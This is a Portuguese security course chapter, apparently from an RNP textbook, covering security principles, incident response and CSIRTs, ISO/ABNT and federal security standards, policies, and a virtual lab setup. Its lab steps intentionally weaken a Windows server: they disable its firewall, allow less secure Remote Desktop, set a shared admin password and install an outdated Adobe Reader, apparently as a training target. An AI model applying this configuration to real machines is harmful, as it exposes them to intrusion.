11 Default Deny e Default Permit Stance (Atitude de Bloqueio Padro e Permisso Padro):

Um certo cuidado deve ser tomado para no recair em um dos problemas listados a seguir.
5

11 Inherent Weaknesses (Fraquezas Inerentes): sistemas de um mesmo tipo podem


sofrer da mesma fraqueza inerente a esse tipo de sistema. Exemplos: falha de conceito
ou falha de um protocolo com implementao comum.
11 Common Configuration (Configurao Comum): sistemas diferentes configurados por
uma mesma pessoa ou grupo podem sofrer de problemas semelhantes de configurao.
11 Common Heritage (Herana Comum): sistemas de fabricantes diferentes podem usar
componentes comuns e consequentemente terem as mesmas falhas.
11 Weakest Link (Elo Mais Fraco): corresponde ao ponto mais fraco das suas defesas. As
suas defesas so to fortes quanto o ponto mais fraco. Este deve ser eliminado quando
possvel, ou ser forte o suficiente para desencorajar ataques. Muitos atacantes vo procurar o ponto mais fraco da sua rede, tentando atacar a rede a partir dele. Pontos fracos
da rede devem ser constantemente monitorados quando no puderem ser eliminados.
11 Fail Safe (Falha Segura): os sistemas, em caso de falha, devem sempre faz-lo de modo
a inibir qualquer tipo de acesso. O prejuzo da falta de acesso prefervel ao acesso liberado de forma irrestrita em caso de falha.
11 Simplicity (Simplicidade): manter o ambiente simples. A complexidade esconde potenciais problemas de segurana. Interfaces grficas, gerenciadores centralizados e sistemas
com configuraes simples so alguns exemplos desse princpio. Porm, deve-se tomar
cuidado com o excesso de simplicidade. Um simples boto na ferramenta com os dizeres
torne meu sistema seguro pode no ser adequado. Os sistemas devem ter um mnimo
de parametrizao, pois cada ambiente possui suas peculiaridades.

Exerccio de fixao 1 e
Conceitos
Explique com suas palavras o que Defesa em Profundidade e como ela pode ser aplicada
em sua organizao.

O que o Elo mais Fraco? D um exemplo na sua organizao.

Processo de Tratamento de Resposta a Incidentes


Segurana de Redes e Sistemas

De acordo com o Cert.br, um incidente de segurana pode ser definido como qualquer

evento adverso, confirmado ou sob suspeita, relacionado segurana de sistemas de computao ou de redes de computadores. Em geral, toda situao na qual uma entidade de
informao corre riscos pode ser considerada um incidente de segurana. No entanto, cada
organizao deve definir o que, em relao aos seus sistemas, para ela pode vir a ser um
incidente de segurana. Em alguns casos, organizaes podem classificar como incidentes
de segurana qualquer ato que possa no estar em conformidade com a poltica de segurana adotada pela instituio.

Todo incidente ocorrido na organizao deve ser tratado de acordo com uma metodologia
definida previamente. Assim, para atender ao processo de resposta a incidentes de segurana a organizao deve elaborar uma metodologia visando gerenciar consequncias de uma
quebra de segurana. Seu principal objetivo minimizar o impacto causado por um incidente
e possibilitar o restabelecimento dos servios no mais curto espao de tempo possvel.
O fenmeno de ataques na internet no um fato novo: no fim da dcada de 80 o incidente
conhecido como Internet Worm resultou em um incidente que paralisou centenas de
sistemas na internet. Aps esse problema, alguns grupos se reuniram para discutir os rumos
da segurana na internet. Essa reunio resultou, mais tarde, na criao do CERT Coordination
Center (Center of Emergency Response Team). Um Centro de Resposta a Incidentes, o CERT foi
uma das primeiras organizaes do tipo CSIRT (Computer Security Incident Response Team).
Com o crescimento da internet, em meados de 1996, esses ataques provocam prejuzos que
vo desde a perda de milhares de dlares at o que ocorreu h alguns anos na Europa, onde de
acordo com a agncia de notcias Reuters, a internet em um pas parou de funcionar aps ataques.
Conforme informado pela IFCC (Internet Fraud Complaint Center ), uma parceria entre o FBI
e o Centro Nacional de Crimes do Colarinho Branco dos Estados Unidos, entre maio de 2000
e maio de 2001, em seu primeiro ano de funcionamento, foram registrados 30.503 casos de
fraudes na internet, registros colhidos apenas no site da IFCC.
Segundo o Cert.br, um CSIRT, ou Grupo de Resposta a Incidentes de Segurana, uma organizao responsvel por receber, analisar e responder a notificaes e atividades relacionadas a incidentes de segurana em computadores. Normalmente, um grupo de resposta
a incidentes pode ser um grupo dentro da prpria instituio trabalhando exclusivamente
para a resposta a incidentes dos servios prestados pela empresa ou pode trabalhar na
forma de comunidade, auxiliando vrias instituies e produzindo estatsticas e relatrios
que beneficiam todo um grupo ou mesmo um pas (Cert.br 2007).
Um CSIRT pode agir de vrias maneiras dentro da empresa, de acordo com a importncia de
seus servios. Um grupo pode estar ligado diretamente alta administrao da empresa,
de maneira que possa intervir e alterar os processos da instituio, mas tambm pode agir
apenas como orientador de processos, no estando diretamente envolvido com a tomada
de decises de segurana (CSIRT Handbook 2003).
Ataques a sistemas computacionais visam comprometer os requisitos de segurana de
uma organizao. Esses ataques tm dois tipos de perfil: ativo, onde o atacante faz alguma
ao para obter o resultado esperado, e passivo, onde o atacante utiliza-se de ferramentas
para obter os dados referentes ao alvo. De acordo com o Cert.br, um CSIRT pode exercer
recursos crticos de uma organizao. No existe um conjunto padronizado de funes ou
servios providos por um CSIRT. Cada time escolhe seus servios com base nas necessidades da sua organizao e da comunidade a quem ele atende.

Ciclo de vida de um incidente


11 Estgio 1 Preparao dos Processos.
11 Estgio 2 Gerenciamento de riscos.
11 Estgio 3 Triagem.
11 Estgio 4 Resposta a incidentes.

Captulo 1 - Fundamentos de segurana

tanto funes reativas quanto funes proativas para auxiliar na proteo e segurana dos

A segurana de uma organizao sempre estar sujeita a incidentes, como todas as outras
reas. Os fatores so os mais diversos, desde ameaas no intencionais causadas por usurios comuns at ameaas tcnicas organizadas. Para uma organizao de vital importncia
que os incidentes sejam tratados corretamente, e para isso se faz necessrio entender como
funciona o ciclo de vida de um incidente.
De acordo com o Instituto de Engenharia de Software da Carnegie Mellon University,
responsvel pelo Cert.org, podemos classificar o ciclo de vida de um incidente em quatro
estgios (CSIRT Handbook 2003), conforme veremos a seguir.

Estgio 1 Preparao dos processos


O incio do ciclo de vida de um incidente comea antes do prprio incidente. necessria a
elaborao de processos e procedimentos para a correta ao empregada contra ameaas e
vulnerabilidades possveis organizao. importante que todos os processos empregados
sejam testados e aperfeioados. Esses processos tm por finalidade o correto emprego dos
recursos para a resposta a incidentes.

Estgio 2 Gerenciamento de riscos


Por meio de aes corretivas e preventivas de ameaas existentes, pois estas so um fator
intrnseco dentro de uma organizao. O gerenciamento de riscos muito importante e
deve ser um processo contnuo dentro de uma organizao, desenvolvendo medidas de
segurana e calculando seu impacto para cada uma das etapas de um ciclo de incidentes.

Estgio 3 Triagem
O mtodo de recepo de todo e qualquer indcio de incidente de suma importncia, pois
com uma correta triagem da informao que se inicia todo o processo de catalogao e
resposta ao incidente. Os grupos de resposta a incidentes comumente informam apenas um
meio de contato ou hotline, seja para um grupo de resposta de mbito nacional, privado
ou mesmo dentro da organizao. Essa triagem importante para a aplicao correta do
controle de segurana da informao impactado pelo incidente. Normalmente, esse controle tambm atribudo a um gerente de incidente, profissional especializado no problema
que estar frente do incidente at a sua resoluo.

Estgio 4 Resposta a incidentes


Quando um incidente j passou pela triagem, ele submetido ao plano de resposta a
incidentes da organizao. Nesse ponto, atividades anmalas so facilmente detectadas e a
adoo de medidas apropriadas pode rapidamente identificar sistemas afetados, dimensionando o montante do prejuzo.

Segurana de Redes e Sistemas

Grupos de resposta a incidentes

Preveno:
11 Auditoria de segurana.
11 Treinamento e orientao a usurios.
11 Disseminao de informao relacionada segurana.
11 Monitorao de novas tecnologias.

Resposta:

11 Tratamento de incidentes.
11 Tratamento de vulnerabilidades.
11 Qualidade de servios de segurana.
11 Consultoria em segurana.
11 Anlise de riscos.
11 Planejamento e recuperao de desastres.
O maior desafio para os profissionais de segurana dos dias atuais a gesto de uma
complexa infraestrutura de comunicao de dados da internet, seu gerenciamento e
manuteno. Na maioria das organizaes, as equipes de profissionais em rede no contam
com pessoal em quantidade suficiente para atender demanda crescente de otimizao de
sistemas, atualizao incessante de programas para minimizar riscos e defender-se contra
ataques dos mais variados tipos. Esse cenrio se torna pior medida que surgem novas
ferramentas de ataques, malwares, toolkits e a crescente organizao de grupos que visam
paralisao e o roubo de dados na rede mundial de computadores.Nesse contexto, e para
atender necessidade de resposta a incidentes, surgem os grupos de resposta a incidentes,
cujo objetivo responder de maneira rpida e efetiva a essas ameaas. Esse grupo tem
como objetivo desenvolver meios para identificar, analisar e responder a incidentes que
venham a ocorrer, minimizando prejuzos e reduzindo seus custos de recuperao.
Os grupos de resposta a incidentes geralmente trabalham em duas frentes, preveno e resposta.

Preveno
Caracterizam-se como servios proativos os servios onde o grupo procura se antecipar aos
problemas de maneira a preveni-los, gerando uma base de conhecimento para futura pesquisa. Dentre as principais atividades de preveno destacam-se a auditoria de segurana e
o treinamento e orientao a usurios.
Auditoria de segurana
A auditoria de segurana dentro de uma empresa visa submeter seus ativos a uma anlise
de segurana com base nos requisitos definidos pela organizao ou por normas internacionais. Tambm pode implicar na reviso das prticas organizacionais da empresa bem como
testes em toda a sua infraestrutura. Nos dois ltimos mdulos deste treinamento, ser
abordado o processo de hardening para servidores Linux e Windows. Uma vez aprovado um
processo de hardening, este pode ser utilizado para auditar a segurana de um ambiente, j

Treinamento e orientao a usurios


Uma das funes de um CSIRT tambm a promoo de palestras e workshops sobre segurana dentro de uma organizao. Essas palestras tm o intuito de informar aos usurios as
polticas de seguranas vigentes e como se proteger de vrios ataques, principalmente de
engenharia reversa.
Disseminao de informao relacionada segurana
A disseminao de informao primordial para o sucesso de um grupo de resposta a
incidentes. Essa disseminao pode ocorrer tanto dentro da organizao, atravs de documentos e boletins internos, como com a confeco de artigos para distribuio para outros

Captulo 1 - Fundamentos de segurana

que nesse documento encontra-se a configurao mnima recomendada para um ativo.

rgos externos empresa.


9

Monitorao de novas tecnologias


Um Grupo de Resposta a Incidentes monitora novos desenvolvimentos tcnicos de ataques
para ajudar a identificar novas tendncias de futuras ameaas. Esse servio envolve a leitura
de fruns e listas de discusso, sites e revistas especializadas.

Resposta
Os servios reativos englobam atividades que so realizadas aps algum evento ou requisio dentro da organizao. Baseiam-se em anlises de logs e produo de relatrios em
funo de alguma deteco de atividade maliciosa. Dentre as principais atividades de resposta a incidentes, podemos destacar as seguintes.
Tratamento de incidentes
Segundo Chuvakin e Peikari, autores do livro Security Warrior, uma reposta a incidente um
processo de identificao, conteno, erradicao e recuperao de um incidente de computador, realizado pelo time de segurana responsvel.
O tratamento de incidentes a principal atividade de um time de resposta a incidentes. So os
incidentes que vo gerar todo o processo de identificao, classificao e tomada de deciso sobre
quais procedimentos tomar para sanar o problema, quantas vezes o problema foi constatado
dentro de um perodo, qual o impacto causado pelo incidente e se este obteve ou no sucesso.
Tratamento de vulnerabilidades
O tratamento de vulnerabilidades visa submeter os sistemas a uma auditoria a fim de saber
quais suas fraquezas e como preveni-las atravs de mitigao de alguns servios.
Essa metodologia est diretamente ligada criao do plano de continuidade de negcios
dentro de uma organizao, pois, atravs das avaliaes feitas, possvel fazer uma anlise
de risco e impacto para as vulnerabilidades encontradas.
Qualidade de servios de segurana
A qualidade dos servios de segurana proporciona aumento na experincia adquirida na
prestao de servios proativos e reativos descritos acima. Esses servios so concebidos
para incorporar os feedbacks e as lies aprendidas com base no conhecimento adquirido
por responder a incidentes, vulnerabilidades e ataques.
Parte de um processo de gesto da qualidade da segurana pode melhorar a segurana a
longo prazo, gerando base dados de incidentes e suas propostas para soluo.
Consultoria em segurana
Um CSIRT pode ser utilizado para fornecer aconselhamento sobre as melhores prticas de

Segurana de Redes e Sistemas

segurana, principalmente dentro de um ambiente militar. Esse servio pode ser utilizado na

10

preparao de recomendaes ou identificando requisitos para a aquisio, instalao ou


obteno de novos sistemas, dispositivos de rede, aplicaes de software ou criao de processos. Esse servio inclui proporcionar orientao e ajuda no desenvolvimento organizacional ou no crculo de polticas de segurana. Ele pode tambm envolver o aconselhamento
s normas legais legislativas ou de outros rgos governamentais.

Anlise de riscos
Um Grupo de Resposta a Incidentes pode ser capaz de acrescentar valor anlise de risco
e avaliaes. Isso pode melhorar a capacidade da organizao para avaliar ameaas reais,
fornecer avaliaes qualitativas e quantitativas dos riscos para os ativos da organizao e
avaliar estratgias para melhor defesa.
Planejamento e recuperao de desastres
Com base em ocorrncias anteriores e futuras previses de tendncias emergentes de incidentes de segurana, pode-se afirmar que quanto mais os sistemas de informao evoluem,
mais aumenta a chance de acontecer um incidente. Por isso, o planejamento deve considerar os esforos e experincias passadas de um CSIRT.
Recomendaes para determinar a melhor forma de responder a esses incidentes para
garantir a continuidade das operaes comerciais devem ser uma prioridade para a organizao. Grupos realizando esse servio esto envolvidos em continuidade de negcios e
recuperao de desastres, planejamento de eventos relacionados com a segurana informtica e ameaas ataques.
Fonte: CAIS RNP

Exerccio de fixao 2 e
Processo de tratamento de incidentes
Explique os estgios do ciclo de vida de um incidente.

Exerccio de fixao 3 e
Grupo de resposta a incidentes
O que preveno e como ela feita na sua organizao?

Normas ISO/ABNT
Histrico: BSI e ISO

11 ABNT NBR ISO/IEC 27002:2005 (cdigo de prtica).


11 ABNT NBR ISO/IEC 27005:2008 (gesto de riscos).
11 ABNT NBR ISO/IEC 27011:2009 (telecomunicaes).
Um dos primeiros documentos criados para fins de normatizao em meios computacionais
foi o Security Control for Computers Systems, publicado em 11 de fevereiro de 1970 pela
RAND Corporation, uma empresa norte-americana sem fins lucrativos especializada em assessoria de investigao e anlise, fundada em 1948, marcou o incio da criao de um conjunto

Captulo 1 - Fundamentos de segurana

11 ABNT NBR ISO/IEC 27001:2006 (SGSI) passvel de certificao.

11

de regras para a segurana de computadores. Mais tarde, o DoD (Departamento de Defesa


dos Estados Unidos) publicou o Orange Book, conhecido tambm como Trusted Computer
Evalution Criteria. Publicado inicialmente em 1978, em forma de um rascunho, foi finalizado
em 1985. O Orange Book, mesmo sendo um documento j ultrapassado, marcou o incio da
busca por um conjunto de regras para a avaliao de um ambiente computacional seguro.
Em 1987, o DTI (Departamento de Comrcio e Indstria do Reino Unido) criou um centro
de segurana de informaes, que, entre suas atribuies, estava a de criar uma norma de
segurana das informaes do Reino Unido. At 1988, vrios documentos foram publicados.
Em 1995, esse centro, denominado Commercial Computer Security Centre (CCSC), juntamente
com o grupo britnico BSI, lana o BS7799:1995, Gesto de Segurana da Informao. Cdigo
de prtica para sistemas de informao de gesto de segurana, essa norma divida em duas
partes: uma homologada em 2000 e, a outra, em 2002. a base para a gesto de segurana
da informao usada por entidades de metodologia de gesto da segurana da informao
focada nos princpios bsicos da segurana: Confidencialidade, Integridade e Disponibilidade.
Em dezembro de 2000, a ISO (International Organization of Standadization ) internacionalizou a norma BS17799, criando a ISO/IEC 17799:2000, uma norma abrangente e internacional voltada para a gesto de segurana da informao.
O objetivo dessa norma era criar um conjunto de regras para assegurar a continuidade do
negcio e minimizar prejuzos empresariais, reduzindo o impacto causado por incidentes de
segurana. As normas da ISO baseadas em segurana da informao foram atualizadas e
agrupadas na famlia de numerao 27000.
A ABNT (Associao Brasileira de Normas Tcnicas ) publicou uma srie de normas baseadas
na ISO, traduzidas para o portugus.
11 ABNT NBR ISO/IEC 27001:2006 Tecnologia da Informao Tcnicas de segurana
Sistema de gesto da segurana da informao Requisitos. Verso atual da BS7799
parte 2. Essa norma especifica os requisitos para estabelecer, implementar, operar,
monitorar, analisar criticamente, manter e melhorar um Sistema de Gesto da Segurana
da Informao (SGSI) documentado dentro do contexto dos riscos de negcio globais da
organizao. Essa norma especifica requisitos para implementar os controles de segurana personalizados para as necessidades individuais de organizaes ou suas partes.
11 ABNT NBR ISO/IEC 27002:2005 Tecnologia da Informao Tcnicas de segurana
Cdigo de prtica para a gesto de segurana da informao. Verso atual da ISO/IEC
17799. Essa norma estabelece diretrizes e princpios gerais para iniciar, implementar,
manter e melhorar a gesto de segurana da informao em uma organizao. Os objetivos definidos nessa norma proveem diretrizes gerais sobre as metas geralmente aceitas
para a gesto de segurana da informao.

Segurana de Redes e Sistemas

11 ABNT NBR ISO/IEC 27003:2010 Tecnologia da Informao Tcnicas de segurana

12

Diretrizes para implantao de um sistema de gesto da segurana da informao. Essa


norma foca os aspectos crticos necessrios para a implantao e o projeto bem-sucedido
de um Sistema de Gesto da Segurana da Informao (SGSI), de acordo com a norma
ABNT NBR ISO/IEC 27001:2006. A norma descreve o processo de especificao e projeto
do SGSI desde a sua concepo at a elaborao dos planos de implantao. Ela descreve
o processo de obteno de aprovao da direo para implementar um SGSI e fornece
diretrizes sobre como planejar o projeto do SGSI.

11 ABNT NBR ISO/IEC 27005:2008 Tecnologia da Informao Tcnicas de segurana Gesto


de riscos de segurana da informao. Essa norma fornece diretrizes para o processo de
gesto de riscos e segurana da informao. Norma criada para apoiar o entendimento das
especificaes e conceitos estabelecidos pela norma ABNT NBR ISO/IEC 27001:2006.
Para aqueles que desejarem mais informao sobre esse assunto, logo abaixo so listadas
as principais normas sobre segurana da informao:
11 ISO/IEC 27000: Information security management systems Overview and vocabulary.
11 ISO/IEC 27003: Information security management system implementation guidance.
11 ISO/IEC 27004: Information security management measurements.
11 ISO/IEC 27006: Requirements for bodies providing audit and certification of information
security management systems.
11 ISO/IEC 9797-1: Message Authentication Codes (MACs) Part 1: Mechanisms using
a block cipher.
11 ISO/IEC 9798-1: Entity authentication Part 1: General.
11 ISO/IEC 9979: Procedures for the registration of cryptographic algorithms.
11 ISO/IEC 10118-1: Hashfunctions Part 1: General.
11 ISO/IEC 11770-1: Key management Part 1: Framework.
11 ISO/IEC 15846-1: Cryptographic techniques based on elliptic curves Part 1: General.
11 ISO/IEC 18033-3: Encryption algorithms Part 3: Block ciphers.
11 ISO/IEC 15408-1: Evaluation criteria for IT security Part 1: Introduction and general model.
11 ISO/IEC 15408-2: Evaluation criteria for IT security Part 2: Security functional.
11 ISO/IEC 15408-3: Evaluation criteria for IT security Part 3: Security assurance.
11 ISO/IEC 15443-1: A framework for IT Security assurance Part 1: Overview and framework.
11 ISO/IEC 15443-2: A framework for IT Security assurance Part 2: Assurance Methods.
11 ISO/IEC 15443-3: A framework for IT Security assurance Part 2: Analysis of Assurance Methods.
11 ISO/IEC 18045: A framework for IT Security assurance Methodology for IT Security Evaluation.
11 ISO/IEC 18043: Selection, deployment and operations of intrusion detection systems.
11 ISO/IEC 18044: Information security incident management.
11 ISO/IEC 24762: Guidelines for information and communications technology disaster
recovery services.
11 ISO/IEC 27033-1: Network Security Part 1: Guidelines for network security.

11 ISO/IEC 24760: A framework for identity management.


11 ISO/IEC 29100: A privacy framework.
11 ISO/IEC 29101: A privacy reference architecture.
11 ISO/IEC 29115: Entity authentication assurance.

Polticas de segurana
A Poltica de Segurana da Informao e Comunicaes (POSIC) o documento mais importante de uma organizao quando se trata de Segurana da Informao. Nela esto todas as
diretrizes, recomendaes e deveres de todos. O profissional de segurana deve conhecer

Captulo 1 - Fundamentos de segurana

11 ISO/IEC 27034-1: Guidelines for Application Security Part 1: Overview and Concepts.

bem a poltica de segurana da sua instituio e deve balizar todo o trabalho em cima dela.
13

Outras polticas associadas POSIC tratam de assuntos mais especficos, como por exemplo:

11 Poltica de Uso Aceitvel (PUA).

11 Poltica de Controle de Acesso (PCA).


11 Plano de Continuidade de Negcio (PCN).
11 Poltica de senhas.Poltica de Salvaguarda (backup).
Esse assunto no faz parte diretamente do escopo deste curso, porm importante
conhecer todas as polticas e legislaes do rgo em que se est implantando uma soluo
de segurana, pois elas podem impactar diretamente no que pode ou no ser feito, nas
punies para o descumprimento da poltica e nos responsveis pelas informaes e
recursos computacionais. A norma ABNT NBR ISO/IEC 27001 possui um captulo inteiramente dedicado s polticas de segurana.
No mbito do Governo Federal, o Gabinete de Segurana Institucional (GSI) da Presidncia
da Repblica, atravs do Departamento de Segurana da Informao e Comunicaes,
publicou uma srie de instrues normativas com o objetivo de orientar a administrao
pblica em diversas questes da Segurana da Informao.
Normas DSIC/GSIPR:

11 Norma Complementar n 01/IN01/DSIC/GSIPR: Atividade de Normatizao.


11 Norma Complementar n 02/IN01/DSIC/GSIPR: Metodologia de Gesto de Segurana
da Informao e Comunicaes.
11 Norma Complementar n 03/IN01/DSIC/GSIPR: Diretrizes para a Elaborao de Poltica
de Segurana da Informao e Comunicaes nos rgos e Entidades da Administrao Pblica Federal.
11 Norma Complementar n 04/IN01/DSIC/GSIPR e seu anexo, Diretrizes para o Processo
de Gesto de Riscos de Segurana da Informao e Comunicaes (GRSIC) nos rgos
e entidades da Administrao Pblica Federal.
11 Norma Complementar n 05/IN01/DSIC/GSIPR e seu anexo, Disciplina e Criao de
Equipes de Tratamento e Respostas a Incidentes em Redes Computacionais (ETIR) nos
rgos e entidades da Administrao Pblica Federal.
11 Norma Complementar n 06/IN01/DSIC/GSIPR: Diretrizes para a Gesto de Continuidade de Negcios, nos aspectos relacionados Segurana da Informao e Comunicaes, nos rgos e entidades da Administrao Pblica Federal, direta e indireta (APF).
Em especial foi publicada a Instruo Normativa IN01-GSI/PR, que define orientaes para
a Gesto de Segurana da Informao e Comunicaes na Administrao Pblica Federal, e
algumas Normas Complementares:

Segurana de Redes e Sistemas

11 Norma Complementar n 01/IN01/DSIC/GSIPR: atividade de normatizao, que tem

14

como objetivo estabelecer critrios e procedimentos para a elaborao, atualizao, alterao, aprovao e publicao de normas complementares sobre gesto de segurana da
informao e comunicaes, no mbito da Administrao Pblica Federal.
11 Norma Complementar n 02/IN01/DSIC/GSIPR: metodologia de Gesto de Segurana
da Informao e Comunicaes utilizada pelos rgos e entidades da Administrao
Pblica Federal.

Para aqueles que


desejarem continuar
seus estudos em
polticas de segurana,
visto que no o
objetivo principal deste
curso, o instituto SANS
(sans.org) oferece um
modelo padro de
poltica de segurana
que poder ser
adaptado e utilizado
em qualquer ambiente
computacional.

11 Norma Complementar n 03/IN01/DSIC/GSIPR: estabelece diretrizes, critrios e procedimentos para a elaborao, institucionalizao, divulgao e atualizao da Poltica de
Segurana da Informao e Comunicaes (POSIC) nos rgos e entidades da Administrao Pblica Federal.
11 Norma Complementar n 04/IN01/DSIC/GSIPR: estabelece diretrizes para o processo
de Gesto de Riscos de Segurana da Informao e Comunicaes (GRSIC) considerando
prioritariamente os objetivos estratgicos, os processos e requisitos legais e a estrutura
dos rgos ou entidades da Administrao Pblica Federal.
11 Norma Complementar n 06/IN01/DSIC/GSIPR: estabelece diretrizes para Gesto da
Continuidade de Negcios, nos aspectos relacionados Segurana da Informao e
Comunicaes, nos rgos e entidades da Administrao Pblica Federal.
11 Norma Complementar n 07/IN01/DSIC/GSIPR: estabelece diretrizes para implementao de controles de acesso relativos Segurana da Informao e Comunicaes,
abrangendo a criao de contas de usurios, rede corporativa de computadores e ativos
de informao. Essa norma contempla inclusive um anexo com um modelo de termo de
responsabilidade a ser utilizado pelos utilizadores dos meios computacionais da entidade.
11 Norma Complementar n 08/IN01/DSIC/GSIPR: disciplina o gerenciamento de Incidentes de Segurana em Redes de Computadores realizado pelas equipes de Tratamento
e Resposta a Incidentes de Segurana em Redes Computacionais (ETIR) nos rgos e
entidades da APF (Administrao Pblica Federal).
11 Norma Complementar n 09/IN01/DSIC/GSIPR: estabelece orientaes para o uso
de recursos criptogrficos como ferramenta de controle de acesso em Segurana da
Informao e Comunicaes, nos rgos ou entidades da Administrao Pblica Federal,
informando principalmente as responsabilidades tanto dos gestores de Segurana da
Informao quanto do agente pblico que utilize esse recurso.

para empresas privadas ou outras entidades, as normas podem servir como um bom
w Mesmo
embasamento para a criao da poltica de segurana, do grupo de resposta a incidentes de
segurana ou do processo de gesto de riscos. Para a comodidade do aluno, o item 6 consta a
NC 03, que trata de diretrizes para a elaborao de uma poltica de segurana (POSIC).
possvel encontrar na web diversas polticas de segurana completas publicadas por
rgos pblicos brasileiros. Um exemplo seria a Portaria/Incra/P/N 70, de 29/03/2006 (DOU
n 62, de 30 de maro de 2006).

Exerccio de fixao 4 e
Polticas de segurana
O que poltica de segurana? Ela existe na sua organizao?

Captulo 1 - Fundamentos de segurana

As normas do DSIC/
GSIPR so pblicas e
podem ser obtidas no
site do DSIC:
http://dsic.planalto.gov.br/

15

Planejando uma rede segura


11 Viso geral.

11 Execuo em etapas.
11 Documento de planejamento:
22 Prazos.
22 Validao e aprovao.
11 Execuo.
A etapa de planejamento talvez a mais importante na construo de um ambiente de rede
seguro ou na adio de segurana a um ambiente existente. Nessa etapa o profissional vai
obter uma viso geral do que est sendo pretendido, alm de dividir a execuo em etapas
bem definidas. Recomenda-se que seja elaborado um documento com a descrio de tudo
o que ser executado, incluindo prazos, de modo que esse documento seja validado e aprovado antes de se iniciar a etapa de execuo.
No planejamento, deve ser definida uma srie de questes, como por exemplo:
11 Topologia da rede em questo.
11 Servidores e servios pblicos na internet.
11 Servidores e servios na intranet.
11 Interligao com outras instituies e redes, como extranet.
11 Acesso remoto.
11 Tecnologias de segurana.
11 Mecanismos de proteo da rede.
11 Salvaguarda de informaes.
O ISECOM (Institute for Security and Open Methodologies), Instituto para Segurana e
Metodologias Abertas, uma comunidade colaborativa sem fins lucrativos que desde 2001
dedica-se a fornecer prticas de conscientizao, pesquisa e certificao open source na
rea de segurana de redes. responsvel pela publicao do OSSTMM (Open Source
Security Testing Methodology Manual), Manual de Cdigo Aberto Sobre Metodologias de
Testes de Segurana. Nesse manual so abordados todos os aspectos a serem levados em
considerao para a execuo de um teste de segurana em um sistema computacional.
So abordados temas importantes, como mtricas de segurana, metodologias para
melhorar a segurana fsica de redes, conexes sem fio e comunicaes eletrnicas.
Nos captulos seguintes, sero vistas as tecnologias e tcnicas de segurana existentes, para
que o profissional as conhea e seja capaz de realizar e implementar o planejamento de uma

Segurana de Redes e Sistemas

soluo de segurana para redes de computadores.

16

Todas as ferramentas de segurana apresentadas so baseadas em software livre,

Software livre

porm os conceitos so genricos e se aplicam a outras ferramentas, comerciais ou no,

Qualquer programa de
computador que pode
ser usado, copiado,
estudado e redistribudo sem restries.

existentes no mercado.

Roteiro de Atividades 1
Atividade 1 Exercitando os fundamentos de segurana
Como vimos, o conceito de segurana mais bsico apresentado consiste no CID (Confidencialidade, Integridade e Disponibilidade). Apresente trs exemplos de quebra de segurana
em cada um desses componentes, como por exemplo:
11 Planilha Excel corrompida.
11 Acesso no autorizado aos e-mails de uma conta de correio eletrnico.
11 Queda de um servidor web por conta de uma falha de energia eltrica.
Associe cada um dos eventos abaixo a uma estratgia de segurana definida na parte terica.
11 Utilizar um servidor Web Linux e outro Windows 2000 Server para servir um mesmo contedo, utilizando alguma tcnica para redirecionar o trfego para os dois servidores.

11 Utilizar uma interface grfica simplificada para configurar uma soluo de segurana.

11 Configurar todos os acessos externos de modo que passem por um ponto nico.

11 Um sistema de segurana em que caso falte energia eltrica, todos os acessos que
passam por ele so bloqueados.

11 Configurar um sistema para s ser acessvel atravs de redes confiveis, para solicitar uma
senha de acesso e em seguida verificar se o sistema de origem possui antivrus instalado.

11 Configurar as permisses de um servidor www para apenas ler arquivos da pasta onde
esto as pginas HTML, sem nenhuma permisso de execuo ou gravao em qualquer
arquivo do sistema.

Atividade 2 Normas de segurana


de 13 de junho de 2008 e as normas complementares indicadas. Elas so um bom ponto
de partida para a criao de uma Poltica de Segurana, de uma Equipe de Tratamento de
Incidentes de Segurana, de um Plano de Continuidade de Negcios e para a implementao
da Gesto de Riscos de Segurana da Informao.

Atividade 3 Poltica de segurana


O Incra (Instituto Nacional de Colonizao e Reforma Agrria ) publicou, em 2006, sua poltica
de segurana da informao no Dirio Oficial da Unio (Portaria INCRA/P/No 70 de 29/03/2006).
Leia o texto procurando identificar as principais dificuldades encontradas pela equipe tcnica do

Captulo 1 - Roteiro de Atividades

Acesse o site do DSIC: http://dsic.planalto.gov.br/ e leia a Instruo Normativa GSI/PR n 1,

17

Incra para implementar essa poltica no ambiente de produo. Realize uma crtica construtiva
de forma a identificar tpicos importantes que no foram abordados nesse documento.

Atividade 4 Configurao inicial do laboratrio prtico


A partir do captulo 3, voc utilizar as mquinas virtuais instaladas na sua estao para
realizar as prticas do curso. Aproveite esse tempo para se familiarizar com o VirtualBox,
ferramenta gratuita de virtualizao que est instalada na sua estao. Lembre-se de que
as atividades so progressivas e interdependentes. No prximo captulo, sero detalhadas
algumas funcionalidades do VirtualBox. Nesta atividade voc vai preparar o servidor
Windows 2008 para as prximas atividades. Siga os passos a seguir e tire as eventuais
dvidas com o instrutor.
Configurao inicial do Windows 2008 Server:
Passo 1

No console do VirtualBox, inicie as mquinas WinServer-G e FWGW1-G,


onde G a letra do seu grupo (A ou B) e dever ser trocado pelo nmero 1
(para grupo A) e 2 (para grupo B).
Essa regra dever ser seguida durante todo o treinamento.

Passo 2

No host WinServer-G, altere a senha do usurio administrador para rnpesr.


Quando solicitar a ativao do Windows, selecione a opo Activate Later.

Passo 3

Instale os complementos do VirtualBox, disponveis no menu Dispositivos,


item Instalar Adicionais para Convidado. Aps executar esse comando, vai
aparecer uma janela de auxlio de configurao no Windows 2008; aceite
todas as configuraes padro e finalize a instalao (no se esquea de
autorizar todas as solicitaes de instalao de drivers no assinados).
Ao final da instalao, ser solicitado o reincio do host; no permita ainda,
pois executaremos outros passos antes de reiniciar o Windows.

Passo 4

Altere o endereo IP da mquina para 172.16.G.20, mscara de rede


255.255.255.0, gateway padro 172.16.G.1, servidor DNS 8.8.8.8 e 8.8.4.4
(servidores do Google). Em Set Network Location, selecione Work.

Passo 5

Altere o Computer Name para WinServer-G e, em Workgroup, altere para


Grupo. Em Remote selecione Allow Connections from computers running
any version of Remote Desktop (less secure).

Passo 6

Desabilite o firewall do Windows.

Passo 7

Reinicie o servidor Windows 2008.

Passo 8

Instale a Role IIS e a Feature FTP Server.

Passo 9

Instale o Adobe Reader verso 9.3.4 no servidor Windows 2008.

Segurana de Redes e Sistemas

Configurao inicial da estao de trabalho hospedeiro (fsica) do aluno:

18

Passo 1

Na estao de trabalho fsica, clique em Iniciar > Painel de Controle > Conexes de Rede > VirtualBox Host-Only Network > Propriedades > Protocolo
TCP/IP e altere o endereo IP dessa interface de rede para 10.1.G.10, mscara
de rede 255.255.255.0

Passo 2

Adicione a rota com o comando abaixo:


C:\route add p 172.16.G.0 mask 255.255.255.0 10.1.G.1

Passo 3

Instale o Wireshark e o Firewall builder.

Passo 4
